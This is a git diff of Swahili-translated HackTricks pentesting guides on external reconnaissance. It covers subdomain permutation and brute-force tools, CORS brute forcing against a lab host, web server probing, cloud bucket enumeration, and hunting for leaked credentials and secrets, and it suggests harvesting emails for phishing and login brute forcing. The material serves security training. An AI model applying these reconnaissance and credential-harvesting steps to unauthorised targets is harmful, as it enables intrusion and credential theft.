```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
```
* [**gotator**](https://github.com/Josue87/gotator)**:** Kutoa uwanja na vikoa vya pili kuzalisha mchanganyiko. Ikiwa hakuna faili ya mchanganyiko inaonyeshwa gotator itatumia yake mwenyewe.
* [**gotator**](https://github.com/Josue87/gotator)**:** Kutoa uga na vikoa vya pili kwa kutengeneza mchanganyiko. Ikiwa hakuna faili ya mchanganyiko inaonyeshwa, gotator itatumia yake mwenyewe.
```
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
```
* [**altdns**](https://github.com/infosec-au/altdns): Mbali na kuzalisha mabadiliko ya subdomains, inaweza pia kujaribu kuzitatua (ingawa ni bora kutumia zana zilizotajwa hapo awali).
* Unaweza kupata orodha ya maneno ya mabadiliko ya altdns **wordlist** [**hapa**](https://github.com/infosec-au/altdns/blob/master/words.txt).
* Unaweza kupata orodha ya maneno ya mabadiliko ya **altdns** [**hapa**](https://github.com/infosec-au/altdns/blob/master/words.txt).
```
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
```
@ -408,7 +408,7 @@ python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid
```
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ ni programu inayotumika kugundua vikoa vidogo kwa kutumia algorithm ya majibu ya DNS iliyoundwa kwa njia rahisi lakini yenye ufanisi mkubwa. Inatumia seti ya data ya kuingiza, kama orodha iliyoboreshwa ya maneno au rekodi za DNS/TLS za kihistoria, kusawazisha majina zaidi ya kikoa kinacholingana na kuyapanua zaidi hata katika mzunguko kulingana na habari zilizokusanywa wakati wa uchunguzi wa DNS.
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ ni programu inayotumika kuvumbua vikoa vidogo kwa kutumia kifaa cha kufanya kazi kwa bidii lakini chenye ufanisi mkubwa cha kujibu kwa maelekezo ya DNS. Inatumia seti ya data ya kuingiza iliyotolewa, kama orodha iliyoboreshwa ya maneno au rekodi za DNS/TLS za kihistoria, kusawazisha majina zaidi ya kikoa kinachohusiana na kupanua zaidi katika mzunguko kulingana na habari iliyokusanywa wakati wa uchambuzi wa DNS.
```
echo www | subzuf facebook.com
```
@ -422,7 +422,7 @@ Angalia chapisho la blogi nililoandika kuhusu jinsi ya **kutumia mchakato wa Tri
### **VHosts / Wenyeji Bandia**
Ikiwa umepata anwani ya IP inayohusisha **ukurasa mmoja au zaidi** unaomilikiwa na subdomains, unaweza kujaribu **kupata subdomains zingine zenye kurasa kwenye IP hiyo** kwa kutafuta kwenye **vyanzo vya OSINT** kwa mifumo ya kikoa kwenye IP au kwa **kufanya nguvu ya kutumia majina ya kikoa ya VHost kwenye IP hiyo**.
Ikiwa umepata anwani ya IP inayohusisha **ukurasa mmoja au zaidi** unaomilikiwa na subdomains, unaweza kujaribu **kupata subdomains nyingine zenye kurasa kwenye IP hiyo** kwa kutafuta kwenye **vyanzo vya OSINT** kwa mifumo ya kikoa kwenye IP au kwa **kufanya nguvu ya kutumia majina ya kikoa ya VHost kwenye IP hiyo**.
#### OSINT
@ -450,18 +450,18 @@ Kwa kutumia mbinu hii, unaweza hata kupata ufikiaji wa vituo vya ndani/vilivyofi
### **CORS Brute Force**
Wakati mwingine utakutana na kurasa ambazo hurudisha kichwa cha _**Access-Control-Allow-Origin**_ pekee wakati kikoa/kidogo halali kimewekwa kwenye kichwa cha _**Origin**_. Katika hali hizi, unaweza kutumia tabia hii kufunua **kidogo mpya**.
Wakati mwingine utakutana na kurasa ambazo hurudisha kichwa cha _**Access-Control-Allow-Origin**_ pekee wakati kikoa/kidogo halali kimewekwa kwenye kichwa cha _**Origin**_. Katika hali hizi, unaweza kutumia tabia hii kufanya **ugunduzi** wa **kidogo** kipya.
```bash
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
```
### **Kuvunja Kwa Nguvu Vifungu**
Wakati unatafuta **subdomains**, angalia kuona ikiwa inaelekeza kwa aina yoyote ya **bucket**, na katika kesi hiyo [**angalia ruhusa**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
Pia, kwa wakati huu utajua uwanja wote ndani ya eneo, jaribu [**kuvunja kwa nguvu majina ya vifungu vinavyowezekana na angalia ruhusa**](../../network-services-pentesting/pentesting-web/buckets/).
Pia, kwa wakati huu utajua uwanja wote ndani ya wigo, jaribu [**kuvunja kwa nguvu majina ya vifungu vinavyowezekana na angalia ruhusa**](../../network-services-pentesting/pentesting-web/buckets/).
### **Ufuatiliaji**
Unaweza **kufuatilia** ikiwa **subdomains mpya** ya uwanja unatengenezwa kwa kufuatilia **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)inavyofanya.
Unaweza **kufuatilia** ikiwa **subdomains mpya** ya uwanja unatengenezwa kwa kufuatilia **Hati ya Uwazi wa Cheti** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) inafanya.
### **Kutafuta Ubaguzi**
@ -469,50 +469,50 @@ Angalia kwa [**uchukuzi wa subdomain**](../../pentesting-web/domain-subdomain-ta
Ikiwa **subdomain** inaelekeza kwa **bucket ya S3**, [**angalia ruhusa**](../../network-services-pentesting/pentesting-web/buckets/).
Ikiwa unapata **subdomain na anwani ya IP tofauti** na zile ulizopata tayari katika ugunduzi wa mali, unapaswa kufanya **uchunguzi wa msingi wa udhaifu** (kutumia Nessus au OpenVAS) na [**uchunguzi wa bandari**](../pentesting-network/#discovering-hosts-from-the-outside) na **nmap/masscan/shodan**. Kulingana na huduma zipi zinazoendeshwa unaweza kupata katika **kitabu hiki mbinu za "kuishambulia"**.\
_Taarifa kwamba mara kwa mara subdomain inahifadhiwa ndani ya anwani ya IP ambayo haikudhibitiwa na mteja, hivyo sio katika eneo, kuwa mwangalifu._
_Taarifa kwamba mara nyingine subdomain inahifadhiwa ndani ya anwani ya IP ambayo haikudhibitiwa na mteja, hivyo sio katika wigo, kuwa mwangalifu._
## Anwani za IP
Katika hatua za awali unaweza kuwa umepata **aina fulani za IP, uwanja na subdomains**.\
Ni wakati wa **kukusanya upya IPs zote kutoka kwa hizo anuwai** na kwa **uwanja/subdomains (mipangilio ya DNS).**
Ni wakati wa **kukusanya upya IPs zote kutoka kwa hizo anuwai** na kwa **uwanja/subdomains (Utafutaji wa DNS).**
Kwa kutumia huduma kutoka kwa **apis za bure** zifuatazo unaweza pia kupata **IPs za awali zilizotumiwa na uwanja na subdomains**. IPs hizi bado zinaweza kuwa mali ya mteja (na inaweza kukuruhusu kupata [**njia za kuzunguka CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
Kwa kutumia huduma kutoka **apis huru** zifuatazo unaweza pia kupata **IPs za awali zilizotumiwa na uwanja na subdomains**. IPs hizi bado zinaweza kuwa mali ya mteja (na inaweza kukuruhusu kupata [**njia za kuzunguka CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
* [**https://securitytrails.com/**](https://securitytrails.com/)
Unaweza pia kuangalia uwanja unaoelekeza kwa anwani fulani ya IP kwa kutumia zana [**hakip2host**](https://github.com/hakluke/hakip2host)
Unaweza pia kuangalia kwa uwanja unaoelekeza anwani fulani ya IP kwa kutumia zana [**hakip2host**](https://github.com/hakluke/hakip2host)
### **Kutafuta Ubaguzi**
**Chunguza bandari zote za IPs ambazo sio za CDNs** (kwa sababu kuna uwezekano mkubwa hautapata kitu cha kuvutia hapo). Katika huduma zinazoendeshwa zilizogunduliwa unaweza **kupata udhaifu**.
**Pata** [**mwongozo**](../pentesting-network/) **kuhusu jinsi ya kuchunguza wenyeji.**
**Pata** [**mwongozo**](../pentesting-network/) **kuhusu jinsi ya kuchunguza mwenyeji.**
## Uwindaji wa Seva za Wavuti
> Tumeona makampuni yote na mali zao na tunajua aina za IP, uwanja na subdomains ndani ya eneo. Ni wakati wa kutafuta seva za wavuti.
> Tumeona makampuni yote na mali zao na tunajua aina za IP, uwanja na subdomains ndani ya wigo. Ni wakati wa kutafuta seva za wavuti.
Katika hatua za awali labda tayari umefanya **uchunguzi wa IPs na uwanja uliogunduliwa**, hivyo unaweza kuwa tayari umepata **seva zote za wavuti zinazowezekana**. Walakini, ikiwa hujafanya hivyo sasa tutatazama baadhi ya **mbinu za haraka za kutafuta seva za wavuti** ndani ya eneo.
Katika hatua za awali labda tayari umefanya **uchunguzi wa IPs na uwanja uliogundua**, hivyo unaweza kuwa tayari umepata **seva zote za wavuti zinazowezekana**. Walakini, ikiwa hujafanya hivyo sasa tutatazama baadhi ya **mbinu za haraka za kutafuta seva za wavuti** ndani ya wigo.
Tafadhali, kumbuka kuwa hii itakuwa **imeelekezwa kwa ugunduzi wa programu za wavuti**, kwa hivyo unapaswa **kufanya uchunguzi wa udhaifu** na **uchunguzi wa bandari** pia (**ikiwa kuruhusiwa** na eneo).
Tafadhali, kumbuka kuwa hii itakuwa **imeelekezwa kwa ugunduzi wa programu za wavuti**, hivyo unapaswa **kufanya uchunguzi wa udhaifu** na **uchunguzi wa bandari** pia (**ikiwa kuruhusiwa** na wigo).
**Mbinu ya haraka** ya kugundua **bandari zilizofunguliwa** zinazohusiana na **seva za wavuti** kwa kutumia [**masscan inaweza kupatikana hapa**](../pentesting-network/#http-port-discovery).\
Zana nyingine rafiki ya kutafuta seva za wavuti ni [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) na [**httpx**](https://github.com/projectdiscovery/httpx). Unaweza tu kupitisha orodha ya uwanja na itajaribu kuunganisha kwenye bandari 80 (http) na 443 (https). Kwa kuongezea, unaweza kuonyesha kujaribu bandari zingine:
Zana nyingine rafiki ya kutafuta seva za wavuti ni [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) na [**httpx**](https://github.com/projectdiscovery/httpx). Unapitisha orodha ya uwanja na itajaribu kuunganisha kwenye bandari 80 (http) na 443 (https). Kwa kuongezea, unaweza kuonyesha kujaribu bandari nyingine:
```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
```
### **Machapisho ya Skrini**
### **Maelezo ya Skrini**
Sasa baada ya kugundua **seva zote za wavuti** zilizopo katika eneo la tazama (miongoni mwa **IPs** za kampuni na **domaini** zote na **subdomaini**) labda **hujui pa kuanzia**. Kwa hivyo, hebu tuifanye iwe rahisi na tuanze kwa kuchukua machapisho ya skrini ya zote. Kwa kuangalia **ukurasa wa kuu** unaweza kupata **vituo vya mwisho** visivyo vya kawaida ambavyo ni zaidi **vya kuwa na hatari** ya kuwa **dhaifu**.
Sasa baada ya kugundua **seva zote za wavuti** zilizopo katika eneo la tazama (miongoni mwa **IPs** za kampuni na **domaini** zote na **subdomaini**) labda **hujui pa kuanzia**. Kwa hivyo, hebu tuifanye iwe rahisi na tuanze kwa kuchukua viwambo tu vya wavuti zote. Kwa **kuangalia** tu **ukurasa wa kuu** unaweza kupata **malengo ya ajabu** ambayo ni zaidi **ya kuwa hatarini** kuwa **dhaifu**.
Ili kutekeleza wazo lililopendekezwa unaweza kutumia [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) au [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
Zaidi ya hayo, unaweza kutumia [**eyeballer**](https://github.com/BishopFox/eyeballer) kufanya ukaguzi wa **machapisho ya skrini** yote ili kukwambia **ni nini kinachoweza kuwa na hatari**, na ni nini sivyo.
Zaidi ya hayo, unaweza kutumia [**eyeballer**](https://github.com/BishopFox/eyeballer) kufanya ukaguzi wa **viwambo vyote** ili kukwambia **ni nini kinachoweza kuwa na udhaifu**, na ni nini hakina.
## Mali za Wingu za Umma
Ili kupata mali za wingu za kampuni unapaswa **kuanza na orodha ya maneno muhimu yanayotambulisha kampuni hiyo**. Kwa mfano, kwa kampuni ya crypto unaweza kutumia maneno kama: `"crypto", "mkoba", "dao", "<jina_la_kikoa>", <"majina_ya_subdomaini">`.
Ili kutafuta mali za wingu zinazomilikiwa na kampuni unapaswa **kuanza na orodha ya maneno muhimu yanayotambulisha kampuni hiyo**. Kwa mfano, kwa kampuni ya crypto unaweza kutumia maneno kama: `"crypto", "mkoba", "dao", "<jina_la_kikoa>", <"majina_ya_subdomaini">`.
Pia utahitaji orodha za maneno ya **kawaida yanayotumiwa katika vikapu**:
@ -526,7 +526,7 @@ Kwa orodha za maneno zilizopatikana unaweza kutumia zana kama [**cloud\_enum**](
Kumbuka kwamba unapotafuta Mali za Wingu unapaswa **kutafuta zaidi ya vikapu tu katika AWS**.
### **Kutafuta Vulnerabilities**
### **Kutafuta Udhaifu**
Ikiwa unakuta mambo kama **vikapu wazi au kazi za wingu zilizofichuliwa** unapaswa **kuzifikia** na jaribu kuona wanakupa nini na ikiwa unaweza kuzitumia vibaya.
@ -539,28 +539,28 @@ Ukiwa na **domaini** na **subdomaini** ndani ya eneo la tazama kimsingi una kila
* API ya [**https://app.snov.io/**](https://app.snov.io/) (toleo la bure)
* API ya [**https://minelead.io/**](https://minelead.io/) (toleo la bure)
### **Kutafuta Vulnerabilities**
### **Kutafuta Udhaifu**
Barua pepe zitakuja muhimu baadaye kwa **kufanya nguvu za bruteforce za kuingia kwenye wavuti na huduma za uthibitishaji** (kama vile SSH). Pia, zinahitajika kwa **phishing**. Zaidi ya hayo, APIs hizi zitakupa hata habari zaidi kuhusu mtu nyuma ya barua pepe, ambayo ni muhimu kwa kampeni ya phishing.
Barua pepe zitakuja muhimu baadaye kwa **kufanya nguvu za kuingia kwenye wavuti na huduma za uthibitishaji** (kama vile SSH). Pia, zinahitajika kwa **phishing**. Zaidi ya hayo, APIs hizi zitakupa hata habari zaidi kuhusu mtu nyuma ya barua pepe, ambayo ni muhimu kwa kampeni ya phishing.
## Kuvuja kwa Anwani za Kibali
## Kuvuja Kwa Sifa
Ukiwa na **domaini,** **subdomaini,** na **barua pepe** unaweza kuanza kutafuta vibali vilivyovuja hapo awali vinavyomilikiwa na barua pepe hizo:
Ukiwa na **domaini,** **subdomaini,** na **barua pepe** unaweza kuanza kutafuta sifa zilizovuja hapo awali zinazomilikiwa na barua pepe hizo:
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
* [https://www.dehashed.com/](https://www.dehashed.com/)
### **Kutafuta Vulnerabilities**
### **Kutafuta Udhaifu**
Ikiwa unapata vibali vilivyovuja **vilivyothibitishwa**, hii ni ushindi rahisi sana.
Ikiwa unapata **sifa zilizovuja** halali, hii ni ushindi rahisi sana.
## Kuvuja kwa Siri
## Kuvuja Kwa Siri
Kuvuja kwa vibali kunahusiana na kuvuja kwa kampuni ambapo **habari nyeti ilivuja na kuuzwa**. Walakini, kampuni zinaweza kuathiriwa na **uvujaji mwingine** ambao habari yake haipo katika hizo database:
Kuvuja kwa sifa kunahusiana na kuvuja kwa kampuni ambapo **habari nyeti ilivuja na kuuzwa**. Walakini, kampuni zinaweza kuathiriwa na **uvujaji mwingine** ambao habari yake haipo katika hizo database:
### Kuvuja kwa Github
Vibali na APIs zinaweza kuvuja katika **makusanyo ya umma** ya **kampuni** au ya **watumiaji** wanaofanya kazi na kampuni hiyo ya github.\
Sifa na APIs zinaweza kuvuja katika **makusanyo ya umma** ya **kampuni** au ya **watumiaji** wanaofanya kazi na kampuni hiyo ya github.\
Unaweza kutumia **zana** [**Leakos**](https://github.com/carlospolop/Leakos) kwa **kupakua** makusanyo yote ya **umma** ya **shirika** na ya **wabunifu** wake na kukimbia [**gitleaks**](https://github.com/zricethezav/gitleaks) juu yao kiotomatiki.
**Leakos** inaweza pia kutumika kukimbia **gitleaks** tena kwenye **maandishi** yote yaliyotolewa **URLs zilizopitishwa** kwake kwani mara nyingi **kurasa za wavuti pia zina siri**.
@ -575,22 +575,22 @@ Angalia pia **ukurasa** huu kwa **dorks za github** za uwezekano ambazo unaweza
### Kuvuja kwa Paste
Wakati mwingine wadukuzi au wafanyakazi wataweza **kuchapisha maudhui ya kampuni kwenye tovuti ya kubandika**. Hii inaweza au isiyoweza kuwa na **habari nyeti**, lakini ni ya kuvutia sana kutafuta.\
Marafiki wa mashambulizi au wafanyakazi wataweza **kuchapisha yaliyomo ya kampuni kwenye tovuti ya kubandika**. Hii inaweza au isiyoweza kuwa na **habari nyeti**, lakini ni ya kuvutia sana kutafuta.\
Unaweza kutumia zana [**Pastos**](https://github.com/carlospolop/Pastos) kutafuta katika zaidi ya tovuti 80 za kubandika kwa wakati mmoja.
### Dorks za Google
Dorks za zamani lakini dhahabu daima ni muhimu kwa kutafuta **habari zilizofichuliwa ambazo hazipaswi kuwepo**. Tatizo pekee ni kwamba [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) ina maelfu ya matakwa yanayowezekana ambayo huwezi kukimbia kwa mikono. Kwa hivyo, unaweza kupata zako 10 zinazopendwa au unaweza kutumia **zana kama** [**Gorks**](https://github.com/carlospolop/Gorks) **kuzikimbia zote**.
Dorks za zamani lakini dhahabu zinafaa siku zote kwa kutafuta **habari zilizofichuliwa ambazo hazipaswi kuwepo**. Tatizo pekee ni kwamba [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) ina maelfu ya matakwa yanayowezekana ambayo huwezi kukimbia kwa mikono. Kwa hivyo, unaweza kupata zako 10 zinazopendwa au unaweza kutumia **zana kama** [**Gorks**](https://github.com/carlospolop/Gorks) **kuzikimbia zote**.
_Taarifa kwamba zana zinatarajia kukimbia database yote kwa kutumia kivinjari cha kawaida cha Google haitamaliza kamwe kwani google itakuzuia haraka sana._
### **Kutafuta Vulnerabilities**
### **Kutafuta Udhaifu**
Ikiwa unapata **vibali vilivyovuja** au vitambulisho vya API vilivyovuja, hii ni ushindi rahisi sana.
Ikiwa unapata **sifa zilizovuja** halali au vitufe vya API, hii ni ushindi rahisi sana.
## Vulnerabilities za Kanuni ya Umma
## Udhaifu wa Kanuni ya Umma
Ikiwa umegundua kuwa kampuni ina **kanuni ya chanzo wazi** unaweza **kuianaliza** na kutafuta **vulnerabilities** ndani yake.
Ikiwa umegundua kuwa kampuni ina **kanuni ya chanzo wazi** unaweza **kuianaliza** na kutafuta **udhaifu** ndani yake.
**Kulingana na lugha** kuna zana tofauti unazoweza kutumia:
@ -603,42 +603,42 @@ Pia kuna huduma za bure zinazokuwezesha **kutafuta makusanyo ya umma**, kama vil
* [**Snyk**](https://app.snyk.io/)
## [**Mbinu ya Kupima Usalama wa Wavuti**](../../network-services-pentesting/pentesting-web/)
**Ukubwa wa kasoro** zilizopatikana na wawindaji wa makosa zinapatikana ndani ya **maombi ya wavuti**, kwa hivyo kwa sasa ningependa kuzungumzia **mbinu ya kupima maombi ya wavuti**, na unaweza [**kupata habari hii hapa**](../../network-services-pentesting/pentesting-web/).
**Ukubwa wa mapungufu** yanayopatikana na wawindaji wa makosa yapo ndani ya **maombi ya wavuti**, kwa hivyo kwa sasa ningependa kuzungumzia **mbinu ya kupima maombi ya wavuti**, na unaweza [**kupata habari hii hapa**](../../network-services-pentesting/pentesting-web/).
Pia ningependa kufanya marejeleo maalum kwa sehemu [**Zana za Kufanya Uchunguzi wa Wavuti kiotomatiki za chanzo wazi**](../../network-services-pentesting/pentesting-web/#automatic-scanners), kwani, ingawa hutegemei kupata kasoro za siri sana, zinaweza kusaidia kutekeleza **mchakato wa kupata habari ya wavuti ya awali.**
Pia ningependa kufanya marejeleo maalum kwa sehemu ya [**Zana za Kiotomatiki za Uchunguzi wa Wavuti za chanzo wazi**](../../network-services-pentesting/pentesting-web/#automatic-scanners), kwani, ingawa hutegemei kupata mapungufu ya siri sana, zinaweza kusaidia kutekeleza kwenye **mifumo ya kazi ili kupata habari ya awali ya wavuti.**
## Muhtasari
> Hongera! Kufikia hatua hii umefanya **uchunguzi wa msingi wote**. Ndiyo, ni msingi kwa sababu uchunguzi zaidi unaweza kufanywa (tutaona mbinu zaidi baadaye).
> Hongera! Kufikia hatua hii tayari umefanya **uchunguzi wa msingi wote**. Ndiyo, ni msingi kwa sababu uchunguzi mwingi zaidi unaweza kufanywa (tutaona mbinu zaidi baadaye).
Kwa hivyo tayari umefanya yafuatayo:
Kwa hivyo tayari umeshapata:
1. Kupata **makampuni yote** ndani ya eneo la kuchunguza
2. Kupata **mali zote** zinazomilikiwa na makampuni (na kufanya uchunguzi wa kasoro ikiwa ni sehemu ya eneo la kuchunguza)
2. Kupata **mali zote** zinazomilikiwa na makampuni (na kufanya uchunguzi wa mapungufu ikiwa ni sehemu ya eneo la kuchunguza)
3. Kupata **kikoa zote** zinazomilikiwa na makampuni
4. Kupata **subdomain zote** za vikoa (kuna uwezekano wa kuchukua subdomain?)
5. Kupata **IPs zote** (kutoka na **si kutoka kwa CDNs**) ndani ya eneo la kuchunguza.
6. Kupata **seva za wavuti** zote na kuchukua **picha ya skrini** yao (kuna kitu cha ajabu kinachostahili kuangaliwa kwa undani?)
4. Kupata **subdomain zote** za vikoa (kuna uwezekano wa kuchukua?)
5. Kupata **IPs zote** (kutoka na **sio kutoka kwa CDNs**) ndani ya eneo la kuchunguza.
6. Kupata **seva za wavuti** zote na kuchukua **picha ya skrini** yao (kuna kitu cha ajabu kinachostahili uchunguzi zaidi?)
7. Kupata **mali zote za wingu la umma** zinazomilikiwa na kampuni.
8. **Barua pepe**, **vuja vya siri**, na **vuja vya siri** vinavyoweza kukupa **ushindi mkubwa kwa urahisi**.
8. **Barua pepe**, **vuja vya siri**, na **vuja vya siri** ambavyo vinaweza kukupa **ushindi mkubwa kwa urahisi**.
9. **Kupima usalama wa wavuti zote ulizopata**
## **Zana za Uchunguzi wa Kiotomatiki Kamili**
## **Zana za Kiotomatiki za Uchunguzi Kamili**
Kuna zana kadhaa huko nje ambazo zitafanya sehemu ya hatua zilizopendekezwa dhidi ya eneo lililopewa.
* [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
* [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
* [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw)
* [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - Kidogo zaidi na haifanyiwa marekebisho
* [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - Kidogo cha zamani na hakijasasishwa
## **Vyanzo**
* Kozi zote za bure za [**@Jhaddix**](https://twitter.com/Jhaddix) kama [**Mbinu ya Mwindaji wa Kasoro v4.0 - Toleo la Uchunguzi**](https://www.youtube.com/watch?v=p4JgIu1mceI)
* Kozi zote za bure za [**@Jhaddix**](https://twitter.com/Jhaddix) kama [**Mbinu ya Mwindaji wa Makosa v4.0 - Toleo la Uchunguzi**](https://www.youtube.com/watch?v=p4JgIu1mceI)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa una nia ya **kazi ya udukuzi** na kudukua yasiyoweza kudukuliwa - **tunakupa kazi!** (_inahitajika uwezo wa kuzungumza na kuandika Kipolishi kwa ufasaha_).
Ikiwa una nia ya **kazi ya udukuzi** na kudukua yasiyodukuzika - **tunakupa kazi!** (_inahitajika uwezo wa kuzungumza na kuandika Kipolishi kwa ufasaha_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -648,7 +648,7 @@ Ikiwa una nia ya **kazi ya udukuzi** na kudukua yasiyoweza kudukuliwa - **tunaku
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -2,21 +2,21 @@
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kuhack AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa una nia ya **kazi ya udukuzi** na kudukua yasiyodukuzika - **tunakupa kazi!** (_inahitajika uwezo wa kuandika na kuzungumza Kipolishi kwa ufasaha_).
Ikiwa una nia ya **kazi ya kuhack** na kuhack mambo ambayo hayawezi kuhack - **tunakupa kazi!** (_inahitajika uwezo wa kuandika na kuzungumza Kipolishi kwa ufasaha_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -24,7 +24,7 @@ Ikiwa una nia ya **kazi ya udukuzi** na kudukua yasiyodukuzika - **tunakupa kazi
<figure><img src="../.gitbook/assets/HACKTRICKS-logo.svg" alt=""><figcaption></figcaption></figure>
_Majina ya Hacktricks yaliyoundwa na_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
_Majina ya Hacktricks yalibuniwa na_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
### 0- Mashambulizi ya Kimwili
@ -32,71 +32,71 @@ Je! Una **upatikanaji wa kimwili** kwa mashine unayotaka kushambulia? Unapaswa k
### 1 - [Kugundua mwenyeji ndani ya mtandao ](pentesting-network/#discovering-hosts)/ [Kugundua Mali za kampuni](external-recon-methodology/)
**Kulingana** na **jaribio** unalofanya ni **jaribio la ndani au nje** unaweza kuwa unavutiwa na kutafuta **wenyeji ndani ya mtandao wa kampuni** (jaribio la ndani) au **kugundua mali za kampuni kwenye mtandao** (jaribio la nje).
**Kulingana** na **jaribio** unalofanya ni **jaribio la ndani au nje** unaweza kuwa unavutiwa na kutafuta **wenyeji ndani ya mtandao wa kampuni** (jaribio la ndani) au **kutafuta mali za kampuni kwenye mtandao** (jaribio la nje).
{% hint style="info" %}
Tambua kwamba ikiwa unafanya jaribio la nje, mara tu unapofanikiwa kupata ufikiaji wa mtandao wa ndani wa kampuni unapaswa kuanza mwongozo huu tena.
Tafadhali kumbuka kuwa ikiwa unafanya jaribio la nje, mara tu unapofanikiwa kupata ufikiaji wa mtandao wa ndani wa kampuni unapaswa kuanza mwongozo huu tena.
{% endhint %}
### **2-** [**Kufurahia na mtandao**](pentesting-network/) **(Ndani)**
### **2-** [**Kucheza na mtandao**](pentesting-network/) **(Ndani)**
**Sehemu hii inatumika tu ikiwa unafanya jaribio la ndani.**\
Kabla ya kushambulia mwenyeji labda ungependa **kuiba baadhi ya vibali** **kutoka kwenye mtandao** au **kunusa** baadhi ya **data** kujifunza **kimya/kwa vitendo(MitM)** unaweza kupata nini ndani ya mtandao. Unaweza kusoma [**Pentesting Network**](pentesting-network/#sniffing).
